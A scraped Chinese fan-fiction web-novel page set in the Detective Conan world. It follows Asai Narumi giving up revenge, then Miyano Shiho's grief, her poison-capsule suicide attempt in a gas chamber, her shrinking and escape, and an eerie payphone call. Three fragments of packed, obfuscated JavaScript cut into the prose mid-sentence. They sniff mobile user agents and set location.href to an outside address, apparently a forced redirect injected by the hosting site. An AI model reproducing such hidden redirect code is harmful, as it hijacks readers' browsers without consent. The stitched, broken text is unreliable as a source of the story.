l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16767708|175638||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 综复杂、交织着两代人血泪的恩怨,看向这两人的目光变得复杂。 “你们之间……这么大的过节,还能像这样平静相处也是让人意外。” 黑岩令子移开视线,声音里带着种认命般的释然:“本来就是我老爸有错在先,害得他家破人亡。这是无法改变的事实。” “在刚刚得知杀害我父亲的真凶是谁之后……有很长一段时间,我的脑子里只有一个念头。”浅井成实的声音很轻,其他人却能够从中窥探到当年的少年的怒火。 “找到他们,杀死他们,然后……我自己也一同前往地狱。那样,就彻底解脱了。” 众人没想到他当年会是这么想。 “好在……我朋友及时骂醒了我。”浅井成实的嘴角微微勾起,“他帮我一起收集证据,将那些人的罪行公之于众,让他们接受法律的审判。” “之后,我去考了医大。”他继续说着,眼神逐渐变得清澈而坚定,“在实习和行医的过程中,我亲手迎接过新生命的诞生,也尽全力挽留过逝去的生命。我越来越深刻地理解了他当年对我说的那些话。” “‘现在法治社会,可不兴杀人偿命这一套,更不兴自/杀赎罪。无论如何,活着,才是最重要的。活着,才能亲眼看见仇人戴上枷锁。 而继续自己的生活,勇敢地、好好地活下去,本身就是对罪恶最铿锵有力的回应。’” “真正的复仇,从来不是让仇人失去生命,那样太便宜他们,也玷污了自己。”他的目光扫过黑岩令子,带着一种豁达的平静。 “作为报复,我已经将黑岩先生交给了法律审判。当年事发时,我和黑岩小姐都还是孩子。 冤有头债有主,我还不至于……恨屋及乌。” “我是那场灾祸的幸存者,这身份让我永远无法忘记过去。但同时,我也是一位医生。 真相对我来说固然重要,但我如今,绝对不会再忽视任何生命的重量了,无论是他人的,还是我自己的。” 柯南怔怔地看着眼前的青年。晚风吹动他的发丝,让他也更能看清刘海下那双澄澈坚定的眼睛。 “因为,我可是一位医生啊。” 于是,仇恨的循环宣告终结,于废墟中生存下来的植株继续向阳而生。 98.毒气室 夏特勒兹在国外执行任务。 这一点,雪莉——宫野志保是知道的。 根据现有代号成员权限、任务兼容性及BOSS核准名单显示,若她的直属监护人夏特勒兹无法履职,按顺位替代者将是——琴酒。 “所以,什么叫做我姐姐死了?” 她几近失声,嘴唇颤抖着,轻轻吐出再次确认的询问……或者质问。 实验室顶灯惨白的光线落在她的身上,为了方便实验操作,这里的空调冷气十分充足。 她一尘不染的白大褂下穿着厚实的衣物,但此刻站在排列整齐的实验台前,她却无端感觉手脚冰凉。 什么叫做我姐姐死了? 明明不久之前——具体是多久?几天?一周?——她还在底层人员的监视下和姐姐在咖啡厅见了一次面。 姐姐穿着酒红色的V领衬衫,笑容一如既往的温柔,聊着无关紧要的日常,感叹最近遇到的小孩子聪明得不像话,又顺势调侃她整天泡在实验室里,好歹也抽空找个男朋友…… 冰柠檬水的温度让玻璃杯的外壁布满水珠,咖啡的香气也仿佛还萦绕在鼻尖,姐姐指尖的温度还残留在她递来的甜品勺上。 这些鲜活的细节和关心的絮叨,怎么可能会属于……一位,死人? “那位先生的意思。”琴酒叼着烟冷淡回答了她,顾忌着实验基地内严格的禁烟规定而没有点燃。 ……但也算是回答了她那近乎质问的确认。 哈,组织的规矩。 虽然科研组常年不问世事,但组织的规矩她并非不懂……但是,但是。 她知道姐姐一直渴望带她离开这片黑暗,因为诸星大——那个FBI卧底男友,她知道姐姐的行踪可能引起了上面的怀疑——这两年她和姐姐见面的频率正在被压缩。 ……她甚至隐隐预感到风暴将至。 但她从未想过,这风暴会如此迅疾,在她都没反应过来的时候,在夏特勒兹暂时不在日本的时候,就将她姐姐的性命撕碎。 为什么会闹到这个地步? 组织早就决定清除不再安分的棋子,连最后一点价值都要榨取干净,然后像丢弃垃圾一样处理掉?那个姐姐所谓的任务,根本就是一个精心布置的死亡陷阱吗? 愤恨和悲伤,以及无数个疑问和猜测在她胸腔里冲撞,让她完全无法接受这个解释,更不能满意琴酒这轻描淡写的态度。 于是她和这位临时监护人的气氛又陷入了僵硬的对峙。 可琴酒不会像夏特勒兹一样惯着她,他只会用最直接的方式粉碎任何多余的麻烦。 他显然刚从某个血淋淋的任务现场赶来,连身上的血迹都来不及彻底清理,衣角还沾着未能散尽的硝烟味,就又被派来处理一个闹脾气的研究员。 ——他的耐心早已耗尽。 于是银发杀手将未点燃的香烟扔进垃圾桶。 “看来之前夏特勒兹还是太惯着你了。” * 因着不配合的态度,琴酒按照那位先生的意思决定敲打敲打这位天才研究员,于是宫野志保被关进了毒气室反省。 “……哈。”一声短促而苦涩的轻笑,在死寂的密闭空间里显得格外突兀。 宫野志保微微晃了晃手腕,铁质手铐冰冷的触感从手腕蔓延至全身,细链碰撞发出轻微的声响,在空旷安静的毒气室内异常响亮。 被随意地丢弃在囚室里,扣上枷锁等待不知何时降临的处决——这就是组织倾注资源培养、掌握核心研究的代号成员的待遇。 这就是所谓的“重视”? 真是天大的讽刺。 宫野志保被手铐限制住了大部分的活动范围,她只能微微挪动身子,在冰冷的墙角找到一个相对能倚靠的姿势,缓缓滑坐在地。 她曾天真的以为,自己的才能与研究成果能够作为筹码,与组织交易,换取姐姐和自己那一点点可怜的生存空间—— 可她错了。 姐姐被组织像清除垃圾一样,轻飘飘地处理掉了,甚至连一个像样的理由都吝于给予,而她也沦落到在此等待判决的地步。 一切的妥协与奉献,换来的不过是变本加厉的蚕食剥削以及利用。 信任?那种奢侈的东西,或许从一开始就从未真正存在过。而此刻,它连同那点残存的不切实际的希望,碎成一地冰凉的尘埃,那寒意仿佛顺着身下地板渗透进来,沿着脊椎骨无声地向上攀爬,一点点蚕食着她体内仅存的温度。 ……事情,为什么会变成这样? 人在绝对寂静与孤独的环境中,思绪总是难以控制地飘向回忆的深渊。顺着记忆的回廊,宫野志保脑海里忍不住浮现那个苍白而静默的蒙眼身影。 于是记忆的闸门打开,温暖的片段争先恐后地涌出。 她想起夏特勒兹带她逛街时,那双蒙着黑缎的眼睛虽无法视物,却总能根据其他东西感知到她对某件物品的片刻停留,然后略显笨拙地将银行卡递给她,示意她去买下; 她想起因为某本书籍或者实验报告而熬了个大夜时,第二天夏特勒兹在厨房里制作早餐,因为视觉受限而难免的手忙脚乱,却固执地不肯假手他人,甚至还有闲心悄悄将厨房里她常喝的咖啡换成各种养生的茶叶,苦恼地劝诫她好好休息; 她想起独处时,夏特勒兹会用平静的电子音和她分享各种无厘头的段子,随后,两人往往会因为某个观点或某件物品的归属,产生幼稚的争论。结局往往以她被对方清奇发言与平静疯感电子音的强烈反差而逗笑; 她想起夏特勒兹会认真听她描述食物的味道,然后根据她的喜好,推荐他认为她会喜欢的店家; 更想起回国后每一次她与姐姐短暂的会面,他从不催促,反而会在她恋恋不舍、即将到点时轻轻地问: “[不再和姐姐多呆一会儿吗?你的声音……听起来很高兴。]” 他甚至会为了她们,向组织争取新年一起跨年的机会,第二天再把她接回研究所进行新一轮的实验…… * ——直到莱伊,那个FBI搜查官卧底身份暴露。 听到这个消息的时候她难免心神不宁,几乎是立刻就联想到了姐姐——作为莱伊进入组织的引荐人,更是他曾公开交往的恋人。组织会如何对待她? 可科研组的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16783056|175638||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 消息向来闭塞,与外界的血腥风雨隔着一层厚厚的壁垒。她根本打听不到多少消息,反而被狠狠警告了一通。 就是在那段风声鹤唳的日子里,她见到了截然不同的夏特勒兹——或者说,与传闻符合的夏特勒兹。 那天,青年毫无预兆地出现在实验室门口,依旧是那身熟悉的黑色着装与蒙眼的黑缎,但不同以往,裹挟着一种生人勿近的低气压,浓重得几乎化为实质的血腥气与硝烟味先一步席卷而来。 他周身散发的不再是平日里那种安静的疏离,而是一种沉淀下来的冰冷的死寂,仿佛刚从尸山血海中跋涉而出,身上还沾着未干的露水——只不过那是人血。 对危险气息相当敏感的她,在那瞬间顿时吓得连连后退几步,差点被身后的旋转椅绊倒。 「[抱歉,吓到你了吗?]」 蒙眼青年似乎察觉到她的惊恐,但又怕自己的靠近进一步刺/激小孩,最终向前迈出的半步硬生生顿住,想要安抚的手抬起又放下。 缓过神来后,她才感知到一些更加内敛的东西,原本就因为盲哑而沉默的青年变得更加沉默……或者说用沉寂来描述更合适。 整个人给她的感觉就像是一潭彻底枯竭的死水,或者说是一片只剩下余烬和焦土的荒原。 所有属于人的鲜活气息都被收敛到了极致,取而代之的是一种从骨子里透出来的…… 疲惫。 一种深可见骨、仿佛连灵魂都被透支殆尽的疲惫,他看起来很累。 「[……抱歉,志保,你的监护人可能要更换了。]」 蒙眼的青年最后还是放下了想要拍拍她脑袋的手,离开了研究所。 一个月后,她重新被允许与姐姐见面,但原本被青年遣散大半的监视又重新回归,让她很不适应。 姐姐安慰她这已经是最好的结果,若不是青年力排众议保下她,她和志保的见面都不知道会拖到几时。 关于监护人的更换,姐姐告知了她更详细的信息。 朗姆的圈套,阿尼赛特的追捕……以及夏特勒兹连轴转似的审讯。 拿到莱伊真正的名字后他连后续的抓捕都没有参与,将国内的成员审查一遍后就被boss一纸调令,安排出国继续清洗卧底与叛徒,誓要将组织内部上上下下里里外外清洗一遍。 夏特勒兹因长期海外任务离开后的这两年,她陆续经历了其他几位监护人——尤其是琴酒——那公事公办、纯粹视她为一件有价值的物品的冷酷,与蒙眼青年沉默下真实的回护,形成了鲜明的对比。 直到此刻,直到失去所有后,她才后知后觉地真正明白——夏特勒兹那些看似寻常的偏袒,那些教导她“可以贪心一点”的话语,那些为她争取来的微小权利—— 在组织严苛的规矩下,几乎是不可想象的奢侈。 现在想来,那根本就是在刀尖上跳舞。他是在用自己的地位和承担的风险,提供了脆弱却又坚实的庇护,小心翼翼为她们撑起了一片相对自由、尚存一丝温情的天空。 而当他一旦离开,失去了这把保护伞的遮蔽,组织便迫不及待地,对早已被怀疑的姐姐举起了屠刀。 99.变小 ……哈。 可是如今明白这些又有什么用? 手腕上金属手铐冰冷坚硬,她失去了唯一的血亲姐姐,看清了组织吃人不吐骨头的真面目,而那个唯一的“共犯”,夏特勒兹远在海外,短时间内完全无法提供任何实质的帮助。 真正的寒意,并不仅仅来自物理的禁锢,更是源于这种被全世界抛弃、孤立无援的认知。 「[黎明总是最冷的时候。我们也不是孤身一人]」 当初夏特勒兹平缓的电子音,裹挟着某种她当时未能完全理解的复杂信念,在此刻不合时宜地于脑海中回响。 这句话曾像黑暗中微弱的萤火,带来过些许虚幻的慰藉。可现在—— 黎明前最冷……可她还能等到黎明吗? 我们不是孤身一人……可她身边的人,又在哪里? 她好像真正地,彻底地一无所有,彻底的孤身一人了。 组织剥夺了她的亲人,禁锢了她的自由,将她视为一件有价值但不允许有自我意志的资产。他们以为,施加足够的压力,折断所有的外部支撑,就能让她彻底屈服,变回那个顺从的,名为雪莉的研究机器。 但他们似乎……算漏了一点。 在剥夺走一切,将她逼入绝境时,他们也无意中将她与所有世俗的牵挂和顾虑一并斩断。 当一个人连自身的存在都不再留恋,当恐惧被更庞大的绝望与愤怒覆盖时,会发生什么? 极致的绝望如同黑洞,吞噬光,也吞噬了软弱的犹豫。一种奇异的平静反而在废墟上开始滋生。 她是真的一点办法也没有了吗? ……不见得。 她自己的命,不也是一枚筹码吗。 就像当初夏特勒兹提醒过她的,以及这些年来组织对她的保护态度,她其实很容易就能推测出:boss很看重她手中的项目。 那么,如果她在这个时候死去呢? 在这种时机下的死亡,对组织而言,将是一个巨大的、短期内无法弥补的损失。这不仅仅是停止几个重要研究项目那么简单,寻找能够顶替的研究员十分费时费力,更是对组织资源、对未来规划的一次沉重打击。 冰凉颤抖的指尖探入白大褂内衬隐秘的口袋,布料的摩擦在寂静的房间里格外刺耳。 最终指尖触碰到那颗小小的红白相间胶囊,小心翼翼地被她取出,置于苍白的掌心。 吞下它。 她不再犹豫,光滑的胶囊外壳滑过干涩的喉咙,带来一种异常清晰的异物感,随即消失在食道的深处。没有味道,却比任何毒药都更深刻地烙印在她的感官里。 “……呃!” 短暂地寂静后药效猛地爆发。 心脏像是被一只无形的手攥紧,剧烈的悸动让她眼前瞬间发黑,氧气仿佛被瞬间抽空,她张大了嘴,却只能发出嗬嗬的吸气声,窒息感如潮水般灭顶而来。 好痛……怎么会这么痛! 血液的加速流动将惊人的热度带到四肢百骸,汗水顷刻间浸湿了她的茶色短发和单薄的研究服。 仿佛从骨头里透出的、要将人生生融化的灼烧感让她本能地挣扎起来,左手颤抖着,带动着手铐叮当作响,手腕不一会儿就被冰冷的金属磨出刺目的红痕。 疼痛从手腕处传来,却在体内那场毁灭性的风暴面前不值一提。 就在她以为自己即将被这无尽的痛苦彻底吞噬、意识即将沉入黑暗的最后一刻—— “咔哒。” 一声轻微到几乎听不见的响动,来自左手腕。 那副原本紧紧铐住手腕的金属手铐,此刻竟松垮地悬在那里。而她竟轻而易举地从其中脱离出来。 不是因为钥匙,而是因为—— 她的手腕,连同着她的整个身体,都在那阵仿佛骨骼融化的剧痛中,不可思议地缩小了。 庞大的研究服如同一个巨大的布袋,将宫野志保缩小后的身体淹没。她瘫在冰冷的地面上,像是刚从水里捞出来,浑身湿透,精疲力尽。剧烈的生理反应正在如潮水般退去,只留下劫后余生的虚脱。 毒气室里安静得可怕,只有她微弱的喘息声。 ……缩小了? 缓了好久,宫野志保才勉强挤出力气撑起自己,茫然地看着身上这件如同帐篷般的白大褂,一种强烈的不真实感攫住了她。 ……不,现在没有时间考虑这个……! 求生的本能在绝望的灰烬中亮起,她强迫自己冷静下来,急速搜索着记忆。她记得毒气室里是有一个垃圾口的……! 双腿根本无法支撑她站立,宫野志保只能咬紧牙关,艰难地在冰冷的地面上匍匐前进。宽大的研究服成了累赘,不断绊住她,每一次拖动身体都耗费着巨大的精力。 果然。 她爬到了记忆中的位置。那个对于成年人而言或许狭小,但对此刻的她来说却显得格外宽敞的垃圾口,如同黑暗中的一线生机。 她不敢有丝毫耽搁,用尽全力,将自己小小的身体塞进了那个充满未知与污秽的通道,顺着滑道,跌入了外面同样危机四伏的世界。 * 东京的夜晚被一场压抑的暴雨统治着。 厚重的云层低垂,将天空染成喘不过气的铅灰色。街道上行人匆匆,只有雨水汇聚成浑浊的溪流,在路边泛着油光的柏油路上肆意横流。 路灯的光晕在雨幕中化开,变成一团团模糊而昏黄的光雾,非但不能带来温暖,反而更添几分凄冷。 宫野志保裹着那件早已湿透并沉重不堪的白大褂,孤零零地站在人行道旁。雨水顺着她茶色的短发滑落,流过她苍白得没有一丝血色的小脸,冷得她浑身都在不受控制地颤抖。 ……竟然,逃出来了。 这个认知带着一种荒谬的眩晕感。就在不久之前,她还在毒气室里,抱着必死的决心,试图用自己生命的终结作为对组织最后的报复。 可转眼之间,她不仅没死,还以一种匪夷所思的方式,做到了她曾经以为绝无可能的事情——她逃离了那个禁锢她半生的牢笼。 ——然后呢? 巨大的茫然如同这场雨,将她淋湿。复仇的目标因“死亡”而消失,求死的意志因“新生”而瓦解。 站在车流稀疏行人匆匆的茫茫雨街上,她像一个被突然抛入异世界的迷路者,对眼前这突如其来的自由不知所措。 该去哪里?能信任谁?组织此刻是否已经发现了她的逃离,追 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16794803|175638||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兵是否正在赶来的路上? “叮铃铃——” “叮铃铃——” “叮铃铃——” 她下意识地循声望去。就在她前方不远处的街角,一个老旧的公共电话亭孤零零地立在那里。 亭内的灯光昏黄,映照着空无一人的内部。雨水敲打着电话亭的玻璃外壳,发出噼里啪啦的噪音。 街道上偶尔有车辆溅着水花疾驰而过,行色匆匆的路人撑着伞,埋头赶路,没有人为这不合时宜的铃声驻足。 ……是巧合吗? 她犹豫着,僵立在原地,心脏不受控制地加快了跳动。那铃声持续响着,一声接着一声,在空旷的雨夜里显得格外刺耳,仿佛带着某种不祥的耐心。 最终,在响了十几声后,它戛然而止,如同被掐断了喉咙。 她暗暗松了口气,或许是有人打错了。她拢了拢身上湿透的白大褂,迈开虚软的步子,试图继续向前,离开这个让她不安的地方。 然而,就在她拖着沉重的步伐刚刚走过几十米,来到下一个十字路口时—— “叮铃铃——” “叮铃铃——” “叮铃铃——” 第二个公共电话亭如同算准了她的步伐,在她靠近的瞬间,再次响起了那催命符一般的铃声。 同样的空无一人,同样的无人理睬。 雨水依旧滂沱,街景依旧模糊。 但对于一个刚刚从组织魔爪下逃脱、正处于惊弓之鸟状态的逃亡者而言,这接连发生的“巧合”,已经不再是巧合。 宫野志保的血液仿佛在这一刻凝固了。脚步像被钉在了原地,再也无法挪动分毫。 电话铃声在无人接听后再次自动挂断。但仅仅安静了不到五秒钟—— “叮铃铃——” “叮铃铃——” “叮铃铃——” 它又响了! 比之前更加急促,更加执着,仿佛电话那头的人正透过冰冷的机器,死死地盯着她,并用刺耳的铃声催促这个停下脚步的茶发女孩——进去,接听。 为什么……怎么会……组织这么快就发现了吗? 恐惧如同冰冷的藤蔓,瞬间缠紧了宫野志保的心脏,无数的可怕猜测在她脑海中疯狂闪现。她想转身就跑,但双腿如同灌了铅,根本不听使唤。 那电话铃声仿佛带着某种魔咒,将她牢牢地钉在了这片危险的水泥地上。 逃不掉的……如果真是组织,她又能逃到哪里去? 深深的无力感裹挟着认命般的绝望,最终驱使着她上前,用尽全力推开了那扇沉重的电话亭玻璃门。 狭小的空间内弥漫着一股铁锈、潮湿和消毒水混合的怪味。电话听筒就悬在那里,随着铃声微微震颤。 她伸出仍在微微颤抖、属于小孩子的手,握住冰冷的听筒,慢慢地将它举到耳边。 她没有说话,甚至连呼吸都屏住了,只是静静地听着,仿佛在等待最终的审判。 听筒里,先是传来一阵沙沙的电流噪音,然后,一个毫无生命气息的、平静得有些吓人的电子音,清晰地传了出来,每一个字都敲打在她紧绷的神经上: 【看来你已经逃出来了。】